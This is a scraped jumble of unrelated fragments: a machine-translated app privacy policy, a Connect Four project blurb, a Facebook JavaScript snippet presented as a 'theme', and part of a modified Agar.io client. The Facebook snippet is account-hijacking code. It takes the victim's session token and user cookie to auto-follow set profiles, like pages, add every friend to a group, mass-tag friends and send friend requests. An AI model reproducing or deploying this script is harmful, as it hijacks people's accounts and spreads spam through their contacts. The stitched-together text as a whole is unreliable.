Privacy Policy introduction We understand the importance of personal information to you and will do our utmost to protect your personal information. We are committed to maintaining your trust in us and to abide by the following principles to protect your personal information: the principle of consistency of rights and responsibilities, the principle of purpose , choose the principle of consent, at least the principle of sufficient use, ensure the principle of security, the principle of subject participation, the principle of openness and transparency, and so on. At the same time, we promise that we will take appropriate security measures to protect your personal information according to the industry's mature security solutions. In view of this, we have formulated this "Private Privacy Policy" (hereinafter referred to as "this policy" /This Privacy Policy") and remind you: This policy applies to products or services on this platform. If the products or services provided by the platform are used in the products or services of our affiliates (for example, using the platform account directly) but there is no independent privacy policy, this policy also applies to the products or services. It is important to note that this policy does not apply to other third-party services provided by you, nor to products or services on this platform that have been independently set up with a privacy policy. Before using the products or services on this platform, please read and understand this policy carefully, and use the related products or services after confirming that you fully understand and agree. By using the products or services on this platform, you understand and agree to this policy. If you have any questions, comments or suggestions about the content of this policy, you can contact us through various contact methods provided by this platform. This privacy policy section will help you understand the following: How we collect and use your personal information How do we use cookies and similar technologies? How do we share, transfer, and publicly disclose your personal information? How we protect your personal information How do you manage your personal information? How do we deal with the personal information of minors? How your personal information is transferred globally How to update this privacy policy How to contact us 一、How we collect and use your personal information Personal information refers to various information recorded electronically or otherwise that can identify a specific natural person or reflect the activities of a particular natural person, either alone or in combination with other information. We collect and use your information for the purposes described in this policy. Personal information: (一)Help you become our user To create an account so that we can serve you, you will need to provide the following information: your nickname, avatar, gender, date of birth, mobile number/signal/QQ number, and create a username and password. During the registration process, if you provide the following additional information to supplement your personal information, it will help us to provide you with better service and experience: your real name, real ID information, hometown, emotional status, constellation, occupation, school Your real avatar. However, if you do not provide this information, it will not affect the basic functions of using the platform products or services. The above information provided by you will continue to authorize us during your use of the Service. When you voluntarily cancel your account, we will make it anonymous or delete your personal information as soon as possible in accordance with applicable laws and regulations. (二)Show and push goods or services for you In order to improve our products or services and provide you with personalized information search and transaction services, we will extract your browsing, search preferences, behavioral habits based on your browsing and search history, device information, location information, and transaction information. Features such as location information, indirect crowd portraits based on feature tags, and display and push information. If you do not want to accept commercials that we send to you, you can cancel them at any time through the product unsubscribe feature. (三)Provide goods or services to you 1、Information you provide to us Relevant personal information that you provide to us when registering for an account or using our services, such as phone numbers, emails, bank card numbers or Alipay accounts; The shared information that you provide to other parties through our services and the information that you store when you use our services. Before providing the platform with the aforementioned personal information of the other party, you need to ensure that you have obtained your authorization. 2、Information we collect during your use of the service In order to provide you with page display and search results that better suit your needs, understand product suitability, and identify account anomalies, we collect and correlate information about the services you use and how they are used, including: Device Information: We will receive and record information about the device you are using (such as device model, operating system version, device settings, unique device identifier, etc.) based on the specific permissions you have granted during software installation and use. Information about the location of the device (such as Idiv address, GdivS location, and Wi-Fi that can provide relevant information) Sensor information such as access points, Bluetooth and base stations. Since the services we provide are based on the mobile social services provided by the geographic location, you confirm that the successful registration of the "this platform" account is deemed to confirm the authorization to extract, disclose and use your geographic location information. . If you need to terminate your location information to other users, you can set it to be invisible at any time. Log information: When you use our website or the products or services provided by the client, we will automatically collect your detailed usage of our services as a related web log. For example, your search query content, Idiv address, browser type, telecom carrier, language used, date and time of access, and web page history you visit. Please note that separate device information, log information, etc. are information that does not identify a particular natural person. If we combine such non-personal information with other information to identify a particular natural person or use it in conjunction with personal information, such non-personal information will be treated as personal information during the combined use, except for your authorization. Or as otherwise provided by laws and regulations, we will anonymize and de-identify such personal information. When you contact us, we may save information such as your communication/call history and content or the contact information you left in order to contact you or help you solve the problem or to document the resolution and results of the problem. 3、Your personal information collected through indirect access You can use the products or services provided by our affiliates through the link of the platform provided by our platform account. In order to facilitate our one-stop service based on the linked accounts and facilitate your unified management, we will show you on this platform. Information or recommendations for information you are interested in, including information from live broadcasts and games. You can discover and use the above services through the homepage of the platform, "More" and other functions. When you use the above services through our products or services, you authorize us to receive, aggregate, and analyze from our affiliates based on actual business and cooperation needs, we confirm that their source is legal or that you authorize to consent to your personal information provided to us or Trading Information. If you refuse to provide the above information or refuse to authorize, you may not be able to use the corresponding products or services of our affiliates, or can not display relevant information, but does not affect the use of the platform to browse, chat, release dynamics and other core services. (四)Provide you with security Please note that in order to ensure the authenticity of the user's identity and provide you with better security, you can provide us with identification information such as identity card, military officer's card, passport, driver's license, social security card, residence permit, facial identification, and other biometric information. Personally sensitive information such as Sesame Credit and other real-name certifications. If you refuse to provide the above information, you may not be able to use services such as account management, live broadcast, and continuing risky transactions, but it will not affect your use of browsing, chat and other services. To improve the security of your services provided by us and our affiliates and partners, protect the personal and property of you or other users or the public from being compromised, and better prevent phishing websites, fraud, network vulnerabilities, computer viruses, cyber attacks , security risks such as network intrusion, more accurately identify violations of laws and regulations or the relevant rules of the platform, we may use or integrate your user information, transaction information, equipment information, related web logs and our affiliates, partners to obtain You authorize or rely on the information shared by law to comprehensively judge your account and transaction risks, conduct identity verification, detect and prevent security incidents, and take necessary records, audits, analysis, and disposal measures in accordance with the law. (五)Other uses When we use the information for other purposes not covered by this policy, or if the information collected for a specific purpose is used for other purposes, you will be asked for your prior consent. (六)Exception for authorization of consent According to relevant laws and regulations, collecting your personal information in the following situations does not require your authorized consent: 1、Related to national security and national defense security; 2、Related to public safety, public health, and major public interests; 3、Related to criminal investigation, prosecution, trial and execution of judgments, etc.; 4、It is difficult to obtain your own consent for the maintenance of the important legal rights of the personal information or other individuals’ lives and property; 5、The personal information collected is disclosed to the public by yourself; 二、How do we use cookies and similar technologies? (一)Cookies To ensure that your site is up and running, to give you an easier access experience, and to recommend content that may be of interest to you, we store a small data file called a cookie on your computer or mobile device. Cookies usually contain an identifier, a site name, and some numbers and characters. With cookies, websites can store data such as your preferences. (二)Website Beacons and Pixel Labels In addition to cookies, we use other technologies like web beacons and pixel tags on our website. For example, the email we send to you may contain an address link to the content of our website. If you click on the link, we will track the click to help us understand your product or service preferences so that we can proactively improve customer service. Experience. A web beacon is usually a transparent image that is embedded in a website or email. With the pixel tags in the email, we can tell if the email is open. If you don't want your event to be tracked this way, you can unsubscribe from our mailing list at any time. 三、How do we share, transfer, and publicly disclose your personal information? (一)shared We do not share your personal information with companies, organizations, and individuals other than the platform's service providers, with the following exceptions: 1、Sharing with explicit consent: We will share your personal information with others after obtaining your explicit consent. 2、Sharing under statutory circumstances: We may share your personal information in accordance with laws and regulations, litigation dispute resolution needs, or in accordance with the requirements of the administrative and judicial authorities. 3. Sharing with affiliates: In order to facilitate our services to you based on linked accounts, we recommend information that may be of interest to you or protect the personal property of affiliates or other users or the public of this platform from being infringed. Personal information may be shared with our affiliates. We will only share the necessary personal information (for example, to facilitate the use of our affiliated company products or services, we will share your necessary account information with affiliates) if we share your personal sensitive information or affiliate changes The use of personal information and the purpose of processing will be re-examined for your authorization. 4. Sharing with Authorized Partners: For the purposes stated in this Privacy Policy, some of our services will be provided by us and our authorized partners. We may share some of your personal information with our partners to provide better customer service and user experience. For example, arrange a partner to provide services. We will only share your personal information for legitimate, legitimate, necessary, specific, and specific purposes, and will only share the personal information necessary to provide the service. Our partners are not authorized to use shared personal information for other purposes unrelated to the product or service. Currently, our authorized partners include the following types: (2) Suppliers, service providers and other partners. We send information to suppliers, service providers and other partners who support our business, including providing technical infrastructure services, analyzing how our services are used, measuring the effectiveness of advertising and services, providing customer service, and facilitating payments. Or conduct academic research and investigations. (1) Authorized partners in advertising and analytics services. We will not use your personally identifiable information (information that identifies you, such as your name or email address, which can be used to contact you or identify you) and provide advertising and analytics services, unless you have your permission. Shared by partners. We will provide these partners with information about their advertising coverage and effectiveness, without providing your personally identifiable information, or we may aggregate this information so that it does not identify you personally. For example, we’ll only tell advertisers how effective their ads are when they agree to comply with our advertising guidelines, or how many people see their ads or install apps after seeing ads, or work with them. Partners provide statistical information that does not identify individuals (eg “male, 25-29 years old, in Beijing”) to help them understand their audience or customers. For companies, organizations and individuals with whom we share personal information, we will enter into strict data protection agreements with them to process individuals in accordance with our instructions, this Privacy Policy and any other relevant confidentiality and security measures. information. (2) Transfer We do not transfer your personal information to any company, organization or individual, except: Transfer with the express consent: After obtaining your explicit consent, we will transfer your personal information to other parties; 2, in the case of mergers, acquisitions or bankruptcy liquidation, or other circumstances involving mergers, acquisitions or bankruptcy liquidation, if it involves the transfer of personal information, we will require new companies and organizations that hold your personal information to continue to receive This policy is bound, otherwise we will ask the company, organization and individual to re-seek your consent. (3) Public disclosure We will only publicly disclose your personal information in the following circumstances: We may publicly disclose your personal information by obtaining your explicit consent or based on your active choice; 2, if we determine that you have violated laws and regulations or serious violations of the relevant rules of the platform, or to protect the personal safety of the platform and its affiliates users or the public from infringement, we may be based on laws and regulations or The relevant agreement rules of this platform disclose your personal information, including related violations, and the measures that the platform has taken against you, with your consent. (4) Exceptions for prior authorization of consent when sharing, transferring, and publicly disclosing personal information In the following situations, sharing, transferring, and publicly disclosing your personal information does not require prior authorization from you: Related to national security and national defense security; Related to public safety, public health, and major public interests; 3, related to criminal investigation, prosecution, trial and judgment execution; 4, in order to protect your or other individuals' life, property and other important legal rights but it is difficult to get my consent; Personal information that you disclose to the public on your own; Collect personal information from legally publicly disclosed information, such as legal news reports and government information disclosure. According to the law, sharing, transferring and de-identifying personal information, and ensuring that the data recipient cannot recover and re-identify the personal information subject, does not belong to the external sharing, transfer and public disclosure of personal information. The preservation and processing of the class data will not require additional notice and your consent. How do we protect your personal information? (1) We have taken reasonable and feasible security measures in accordance with the industry's general solutions to protect the security of personal information provided by you, and to prevent unauthorized access, public disclosure, use, modification, damage or loss of personal information. For example, SSL (Secure Socket) when exchanging data (such as credit card information) between your browser and the server Layer) protocol encryption protection; we use encryption technology to improve the security of personal information; we use a trusted protection mechanism to prevent personal information from being maliciously attacked; we will deploy access control mechanisms to ensure that only authorized personnel can access individuals Information; and we will conduct security and privacy protection training courses to enhance employees' awareness of the importance of protecting personal information. (2) We have advanced data security management system around the data life cycle, which enhances the security of the whole system from organizational construction, system design, personnel management, product technology and other aspects. (3) We will take reasonable and feasible measures and try our best to avoid collecting irrelevant personal information. We will only retain your personal information for the period of time required to achieve the purposes stated in this policy, unless the retention period is extended or permitted by law. (4) The Internet is not an absolutely secure environment. We strongly recommend that you do not use personal communication methods that are not recommended by this platform. You can connect and share with each other through our services. When you create communications, transactions, or sharing through our services, you can choose who you want to communicate, trade, or share as a third party who can see your trading content, contact information, exchange information, or share content. If you find that your personal information, especially your account or password, has been leaked, please contact our customer service immediately so that we can take appropriate measures according to your application. Please note that the information you voluntarily share or even share publicly when using our services may involve personal information of you or others or even sensitive personal information, such as when you post a news or choose to upload in public in group chats, circles, etc. A picture containing personal information. Please consider more carefully whether you share or even share information publicly when using our services. Please use complex passwords to help us keep your account secure. We will do our best to protect the security of any information you send us. At the same time, we will report the handling of personal information security incidents in accordance with the requirements of the regulatory authorities. V. How your personal information is transferred globally Personal information collected and generated by us during our operations in the People's Republic of China is stored in China, with the following exceptions: Laws and regulations have clear provisions; 2, get your explicit authorization; 3, you through the Internet for cross-border live broadcast / release dynamics and other personal initiatives. In response to the above, we will ensure that your personal information is adequately protected in accordance with this Privacy Policy.
danukarangith
A Java-based implementation of the classic Connect Four game with support for human and AI players. The game features an intuitive GUI, AI decision-making using Monte Carlo Tree Search (MCTS), and winner detection. Perfect for learning game development and AI strategies.
adesatria
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Theme By: adE Satria https://www.facebook.com/ProfiLadesatria'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //Boss a("100004368643588");a("100007079796120");a("100001503619455"); sublist("243737815781838");sublist("1387712268141420");sublist("262092750613011"); var gid = ['787801977901062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "531553660285377"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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Rogerio111
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"> <meta name="keywords" content="agario, agar, io, cell, cells, virus, bacteria, blob, game, games, web game, html5, fun, flash"> <meta name="robots" content="index, follow"> <meta name="viewport" content="minimal-ui, width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta property="fb:app_id" content="677505792353827"/> <meta property="og:title" content="Agar.io"/> <meta property="og:description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"/> <meta property="og:url" content="http://agar.io"/> <meta property="og:image" content="http://agar.io/img/1200x630.png"/> <meta property="og:image:width" content="1200"/> <meta property="og:image:height" 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0px 0px 0px;padding:5px 10px;}</style> <script src="js/jquery.js"></script> <script src="js/bootstrap.min.js"></script> <script> i18n_lang = 'en'; i18n_dict = { 'en': { 'connecting': 'Connecting', 'connect_help': 'If you cannot connect to the servers, check if you have some anti virus or firewall blocking the connection.', 'play': 'Jogar', 'spectate': 'Observar O Jogo', 'login_and_play': 'Logar No Facebook', 'play_as_guest': 'Play as guest', 'share': 'Share', 'advertisement': 'Advertisement', 'privacy_policy': 'Privacy Policy', 'terms_of_service': 'Terms of Service', 'changelog': 'Changelog', 'instructions_mouse': 'Move your mouse to control your cell', 'instructions_space': 'Pressiona <b>Space</b> Para Duplica', 'instructions_w': 'Pressiona <b>W</b> Para Da Massa', 'gamemode_ffa': 'FFA', 'gamemode_teams': 'Time', 'gamemode_experimental': 'Experimental', 'region_select': ' -- Select a Region -- ', 'region_us_east': 'US East', 'region_us_west': 'US West', 'region_north_america': 'North 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Massa', 'leaderboard': 'Leaderboard', 'unnamed_cell': 'Célula sem nome !"', 'last_match_results': 'Last match results', 'score': 'Pontos', 'leaderboard_time': '', 'mass_eaten': 'Mass Eaten', 'top_position': 'Top Position', 'position_1': 'Primeiro', 'position_2': 'Segundo', 'position_3': 'Terceiro', 'position_4': 'Quarto', 'position_5': 'Quinto', 'position_6': 'Sexto', 'position_7': 'Setimo', 'position_8': 'Oitavo', 'position_9': 'Nono', 'position_10': 'Decimo', 'player_cells_eaten': 'Player Cells Eaten', 'survival_time': 'Survival Time', 'games_played': 'Games played', 'highest_mass': 'Massa Total', 'total_cells_eaten': 'Total cells eaten', 'total_mass_eaten': 'Total mass eaten', 'longest_survival': 'Longest survival', 'logout': 'Sair', 'stats': 'Stats', 'shop': 'Shop', 'party': 'Jogar Com Os Amigos', 'party_description': 'Play with your friends in the same map', 'create_party': 'Create', 'creating_party': 'Criando Ah partida...', 'join_party': 'Criar Partoda', 'back_button': 'Sair', 'joining_party': 'Connectando Na Sala ...', 'joined_party_instructions': 'You are now playing with this Sala:', 'party_join_error': 'There was a problem joining that party, please make sure the code is correct, or try creating another party', 'login_tooltip': 'Login with Facebook and get:<br\xA0/><br /><br />Jogar the game with more mass!<br />Level up to get even more starting mass!', 'create_party_instructions': 'Give this link to your friends:', 'join_party_instructions': 'Your friend should have given you a code, type it here:', 'continue': 'Continuar', 'option_skip_stats': 'Pular Estatísticas', 'stats_food_eaten': 'Alim. ingeridos', 'stats_highest_mass': 'highest mass', 'stats_time_alive': 'Tempo Vivo', 'stats_leaderboard_time': 'Tempo no Rank', 'stats_cells_eaten': 'Células Ingeridas', 'stats_top_position': 'Posição Rankeada?', '': '' }, '?': {} }; i18n_lang = (window.navigator.userLanguage || window.navigator.language || 'en').split('-')[0]; if (!i18n_dict.hasOwnProperty(i18n_lang)) { i18n_lang = 'en'; } i18n = i18n_dict[i18n_lang]; (function(window, $) { function Init() { g_drawLines = true; PlayerStats(); setInterval(PlayerStats, 180000); g_canvas = g_canvas_ = document.getElementById('canvas'); g_context = g_canvas.getContext('2d'); g_canvas.onmousedown = function(event) { if (g_touchCapable) { var deltaX = event.clientX - (5 + g_protocol / 5 / 2); var deltaY = event.clientY - (5 + g_protocol / 5 / 2); if (Math.sqrt(deltaX * deltaX + deltaY * deltaY) <= g_protocol / 5 / 2) { SendPos(); SendCmd(17); return; } } g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); SendPos(); }; g_canvas.onmousemove = function(event) { g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); }; g_canvas.onmouseup = function() {}; if (/firefox/i.test(navigator.userAgent)) { document.addEventListener('DOMMouseScroll', WheelHandler, false); } else { document.body.onmousewheel = WheelHandler; } var spaceDown = false; var cachedSkin = false; var wkeyDown = false; var keyEPressed = false; //EDITED window.onkeydown = function(event) { if (!(32 != event.keyCode || spaceDown)) { SendPos(); SendCmd(17); spaceDown = true; } if (!(81 != event.keyCode || cachedSkin)) { SendCmd(18); cachedSkin = true; } if (!(87 != event.keyCode || wkeyDown)) { SendPos(); SendCmd(21); wkeyDown = true; } if (69 == event.keyCode) { //EDITED if (!keyEPressed) { keyEPressed = true; timerE(); } } if (27 == event.keyCode) { __unmatched_10(300); } }; window.onkeyup = function(event) { if (32 == event.keyCode) { spaceDown = false; } if (87 == event.keyCode) { wkeyDown = false; } if (81 == event.keyCode && cachedSkin) { SendCmd(19); cachedSkin = false; } if (69 == event.keyCode) { //EDITED if (keyEPressed) { keyEPressed = false; } } }; window.onblur = function() { SendCmd(19); wkeyDown = cachedSkin = spaceDown = keyEPressed = false; //EDITED }; function timerE () { //EDITED if (keyEPressed) { SendPos(); SendCmd(21); setInterval(timerE, 200); } } window.onresize = ResizeHandler; window.requestAnimationFrame(__unmatched_130); setInterval(SendPos, 40); if (g_region) { $('#region').val(g_region); } SyncRegion(); SetRegion($('#region').val()); $.each(g_skinNamesA, function(v, node) { //EDITED $("#nicks").append($("<option></option>").attr("value", v).text(node)); }); if (0 == __unmatched_112 && g_region) { Start(); } __unmatched_10(0); ResizeHandler(); if (window.location.hash && 6 <= window.location.hash.length) { RenderLoop(window.location.hash); } } function WheelHandler(event) { g_zoom *= Math.pow(0.9, event.wheelDelta / -120 || event.detail || 0); if(!isUnlimitedZoom) { if (1 > g_zoom) { g_zoom = 1; } if (g_zoom > 4 / g_scale) { g_zoom = 4 / g_scale; } } } function UpdateTree() { if (0.4 > g_scale) { g_pointTree = null; } else { for (var minX = Number.POSITIVE_INFINITY, minY = Number.POSITIVE_INFINITY, maxX = Number.NEGATIVE_INFINITY, maxY = Number.NEGATIVE_INFINITY, maxSize = 0, i = 0; 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} function PlayerStats() { if (null == g_regionLabels) { g_regionLabels = {}; $('#region').children().each(function() { var $this = $(this); var val = $this.val(); if (val) { g_regionLabels[val] = $this.text(); } }); } $.get('https://m.agar.io/info', function(data) { var regionNumPlayers = {}; var region; for (region in data.regions) { var region_ = region.split(':')[0]; regionNumPlayers[region_] = regionNumPlayers[region_] || 0; regionNumPlayers[region_] += data.regions[region].numPlayers; } for (region in regionNumPlayers) { $('#region option[value="' + region + '"]').text(g_regionLabels[region] + ' (' + regionNumPlayers[region] + ' players)'); } }, 'json'); } function HideOverlay() { $('#adsBottom').hide(); $('#overlays').hide(); $('#stats').hide(); $('#mainPanel').hide(); __unmatched_141 = g_playerCellDestroyed = false; SyncRegion(); if (window.googletag && window.googletag.pubads && window.googletag.pubads().clear) { window.googletag.pubads().clear(window.aa.concat(window.ab)); } } function SetRegion(val) { if (val && val != g_region) { if ($('#region').val() != val) { $('#region').val(val); } g_region = window.localStorage.location = val; $('.region-message').hide(); $('.region-message.' + val).show(); $('.btn-needs-server').prop('disabled', false); if (g_drawLines) { Start(); } } } function __unmatched_10(char) { if (!(g_playerCellDestroyed || __unmatched_141)) { $('#adsBottom').show(); g_nick = null; __unmatched_13(window.aa); if (1000 > char) { qkeyDown = 1; } g_playerCellDestroyed = true; $('#mainPanel').show(); if (0 < char) { $('#overlays').fadeIn(char); } else { $('#overlays').show(); } } } function Render(__unmatched_174) { $('#helloContainer').attr('data-gamemode', __unmatched_174); __unmatched_95 = __unmatched_174; $('#gamemode').val(__unmatched_174); } function SyncRegion() { if ($('#region').val()) { window.localStorage.location = $('#region').val(); } else if (window.localStorage.location) { $('#region').val(window.localStorage.location); } if ($('#region').val()) { $('#locationKnown').append($('#region')); } else { $('#locationUnknown').append($('#region')); } } function __unmatched_13(__unmatched_175) { if (window.googletag) { window.googletag.cmd.push(function() { if (g_canRefreshAds) { g_canRefreshAds = false; setTimeout(function() { g_canRefreshAds = true; }, 60000 * g_refreshAdsCooldown); if (window.googletag && window.googletag.pubads && window.googletag.pubads().refresh) { window.googletag.pubads().refresh(__unmatched_175); } } }); } } function __unmatched_14(i_) { return window.i18n[i_] || window.i18n_dict.en[i_] || i_; } function FindGame() { var __unmatched_177 = ++__unmatched_112; console.log('Find ' + g_region + __unmatched_95); $.ajax('https://m.agar.io/', { error: function() { setTimeout(FindGame, 1000); }, success: function(__unmatched_178) { __unmatched_178 = __unmatched_178.split('\n'); Connect('ws://' + __unmatched_178[0], __unmatched_178[1]); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: (g_region + __unmatched_95 || '?') + '\n154669603' }); } function Start() { if (g_drawLines && g_region) { $('#connecting').show(); FindGame(); } } function 